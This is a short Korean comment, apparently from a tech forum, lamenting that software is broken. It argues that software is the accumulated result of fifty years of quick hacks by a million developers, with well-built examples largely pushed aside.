    • 전부 고장 나 있음. 오늘 대충 동작하게 만들기 위한 빠른 해킹이 50년과 백만 개발자를 거치며 누적된 결과임
      가끔 제대로 만들어진 빛나는 사례도 있지만, 전반적으로는 그런 것들이 완전히 밀려났다고 보는 게 맞음